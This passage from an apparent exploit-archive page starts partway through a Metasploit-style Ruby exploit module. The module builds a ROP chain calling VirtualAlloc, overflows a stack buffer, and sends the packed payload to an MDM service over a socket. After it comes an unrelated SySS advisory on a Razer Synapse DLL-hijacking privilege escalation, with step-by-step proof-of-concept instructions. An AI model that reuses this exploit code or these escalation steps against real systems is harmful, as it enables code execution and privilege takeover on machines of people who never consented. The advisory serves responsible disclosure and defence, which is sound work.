[0x00499ac0].pack('V') # pop eax ; ret ; rop_chain += [0x0056a208].pack('V') # VirtualAlloc IAT entry rop_chain += [0x00566650].pack('V') # pop ecx ; ret ; rop_chain += [0x00000040].pack('V') # flProtect rop_chain += [0x0054b079].pack('V') # pop ebx ; ret ; rop_chain += [0x00000320].pack('V') # dwSize rop_chain += [0x00402323].pack('V') # pop ebp; ret rop_chain += [0x0055642a].pack('V') # pop eax; ret rop_chain += [0x0052ad90].pack('V') # pop esi; ret; rop_chain += [0x0042792f].pack('V') # jmp [eax] rop_chain += [0x00521907].pack('V') # pop edi ; ret ; rop_chain += [0x00568968].pack('V') # ret ; rop_chain += [0x004995ab].pack('V') # pushad ; ret ; rop_chain += [0x00499c20].pack('V') # push esp ; ret # Because of the compiler optimized `qmemcpy` # we are not able to directly return to out smashed stack. # This buffer re-arranges the entire stack for escaping # the longass function without crashing. buf = Rex::Text.rand_text_alpha(136) buf += [0].pack('V') # set empty register buf += [0].pack('V') # set empty register buf += [0].pack('V') # stack alignment buffer buf += [0].pack('V') # stack alignment buffer buf += [0x00511a80].pack('V') # ESP -> $(rop: "add esp, 0x10 ; ret ;") buf += [0x00583900].pack('V') # .data section scratch space buf += [0x00583900].pack('V') # .data section scratch space buf += [0x00585858].pack('V') # .data section scratch space buf += [0x00585857].pack('V') # .data section scratch space # ================== name1 = 'h.mid' value1 = "\x30" name2 = 'h.cmd' value2 = "\x31\x39" name3 = 'p.waitprofile' value3 = (buf + rop_chain + make_nops(expected_payload_size - payload.encoded.length) + payload.encoded) item1 = [2].pack('N') item1 += [name1.length].pack('N') item1 += [value1.length].pack('N') item1 += name1 + value1 item2 = [2].pack('N') item2 += [name2.length].pack('N') item2 += [value2.length].pack('N') item2 += name2 + value2 item3 = [101].pack('N') item3 += [name3.length].pack('N') item3 += [value3.length].pack('N') item3 += name3 + value3 hp = item1 + item2 + item3 if hp.length % 16 != 0 # Add padding if not power of 16 hp += ("\x00" * (16 - (hp.length % 16))) end preamble = [hp.length + 16].pack('N') preamble += [item1.length + item2.length].pack('N') preamble += [(hp.length + 16) - 0x3b].pack('N') preamble += [0].pack('N') packet = preamble + hp print_status('Connecting to target...') connect res = sock.get_once fail_with(Failure::UnexpectedReply, 'Could not connect to MDM service - no response') if res.nil? print_status('Sending payload...') sock.put(packet) disconnect end end </code></pre>

<pre><code>Advisory ID: SYSS-2023-002 Product: Razer Synapse Manufacturer: Razer Inc. Affected Version(s): Versions before 3.8.0428.042117 (20230601) Tested Version(s): 3.8.0228.022313 (20230315) under Windows 10 Pro (10.0.19044) under Windows 11 Home (10.0.22621) Vulnerability Type: Improper Privilege Management (CWE-269) Time-of-check Time-of-use Race Condition (CWE-367) Risk Level: High Solution Status: Fixed Manufacturer Notification: 2023-03-23 Solution Date: 2023-04-28 Public Disclosure: 2023-08-31 CVE Reference: CVE-2022-47631 Author of Advisory: Dr. Oliver Schwarz, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: Razer Synapse is an additional driver software for Razer gaming devices. The manufacturer describes the product as a "unified cloud-based hardware configuration tool" (see [1]). Due to an unsafe installation path, improper privilege management, and a time-of-check time-of-use race condition, the associated system service "Razer Synapse Service" is vulnerable to DLL hijacking. As a result, local Windows users can abuse the Razer driver installer to obtain administrative privileges on Windows. In order to exploit the vulnerability, the attacker needs physical access to the machine and needs to prepare the attack before Razer Synapse is installed along with a Razer driver. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The attack scenario considers a Windows machine without any previous installation of any Razer device or software. The attacker has a local unprivileged Windows account, physical access to the machine, and a device which is either a Razer peripheral or able to pretend to be one (such as a Bash Bunny or a Raspberry Pi Zero). The attacker aims at executing code with full system privileges. The attack exploits the Razer Synapse Service which runs with elevated privileges. While the main binary of the service is stored in the protected location "C:\Program Files (x86)\Razer\Synapse3\Service", it dynamically loads libraries from "C:\ProgramData\Razer\Synapse3\Service\bin". Before the installation, standard users can write to this path, since "C:\ProgramData" is world-writable on a standard installation of Windows. The Synapse installation procedure changes access privileges, so that standard users cannot write to the path any longer. However, if the path is created before the driver installation, the creator can set own files to be read-only and deny write access for the SYSTEM user. Upon start, the Synapse service checks the location for foreign DLLs, removes them, and aborts upon failure to delete them. However, due to a time-of-check time-of-use race condition, attackers can replace a benign DLL after it has been checked and before it is loaded. Note that the described vulnerability is similar to CVE-2021-44226 (SYSS-2021-058) and CVE-2022-47632 (SYSS-2022-047), which Razer Inc. fixed in March and September of 2022, respectively. The new attack differs from the earlier ones in that the attacker now has to exploit a race condition. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The attack consists of the following steps: 1. Before the installation of the driver/Synapse, the attacker creates "C:\ProgramData\Razer\Synapse3\Service\bin", copies a custom malicious version of userenv.dll into the directory, sets the DLL to read-only, and denies write access for SYSTEM. 2. Afterwards, the attacker triggers the installation of Synapse. This can be done without any elevated privileges by plugging in a Razer device and following the installation procedure for Synapse if device-specific co-installers are not disabled. Alternatively, a device such as Bash Bunny or a Raspberry Pi Zero can be used and pretend to be a Razer device. 3. With the help of a script, the attacker monitors the installation progress. As soon as legitimate DLL files show up in the directory, the attacker temporarily overwrites the malicious DLL with a legitimate one, waits for the DLL to be assessed (i.e., read), and then quickly copies back the malicious content to the DLL before it is actually loaded and executed. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Razer has published a patched version that will be deployed automatically upon driver installation on current Windows builds. To prevent similar attacks through other co-installers, system administrators can disable them by setting the following key in the Windows registry: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Device Installer\DisableCoInstallers = 1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2022-12-19: Vulnerability discovered 2023-03-23: Vulnerability reported to manufacturer 2023-04-28: Patch released by manufacturer 2023-08-31: Public disclosure of vulnerability ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for Razer Synapse 3 https://www2.razer.com/eu-en/synapse-3 [2] SySS Security Advisory SYSS-2023-002 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2023-002.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy [4] SySS Proof of Concept Video https://youtu.be/0myDcqmtt0U ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Dr. Oliver Schwarz of SySS GmbH. E-Mail: oliver.schwarz@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Oliver_Schwarz.asc Key ID: 0x9716294F1294280D Key Fingerprint: D452 B014 E992 2886 E799 6B43 9716 294F 1294 280D ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS Web site. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: https://creativecommons.org/licenses/by/3.0/deed.en </code></pre>